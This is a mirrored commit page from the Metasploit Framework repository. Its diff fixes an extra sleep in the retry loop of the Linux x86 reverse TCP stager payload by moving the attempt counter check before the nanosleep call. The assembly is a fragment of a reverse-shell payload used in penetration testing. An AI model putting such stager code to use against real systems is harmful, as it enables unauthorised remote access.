mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
Land #8848, fix extra sleep on linux x86 stager
This commit is contained in:
commit
6afd90b7f0
@ -123,6 +123,8 @@ module Payload::Linux::ReverseTcp_x86
|
|||||||
jns mprotect
|
jns mprotect
|
||||||
|
|
||||||
handle_failure:
|
handle_failure:
|
||||||
|
dec esi
|
||||||
|
jz failed
|
||||||
push 0xa2
|
push 0xa2
|
||||||
pop eax
|
pop eax
|
||||||
push 0x#{sleep_nanoseconds.to_s(16)}
|
push 0x#{sleep_nanoseconds.to_s(16)}
|
||||||
@ -131,9 +133,7 @@ module Payload::Linux::ReverseTcp_x86
|
|||||||
xor ecx, ecx
|
xor ecx, ecx
|
||||||
int 0x80 ; sys_nanosleep
|
int 0x80 ; sys_nanosleep
|
||||||
test eax, eax
|
test eax, eax
|
||||||
js failed
|
jns create_socket
|
||||||
dec esi
|
|
||||||
jnz create_socket
|
|
||||||
jmp failed
|
jmp failed
|
||||||
^
|
^
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user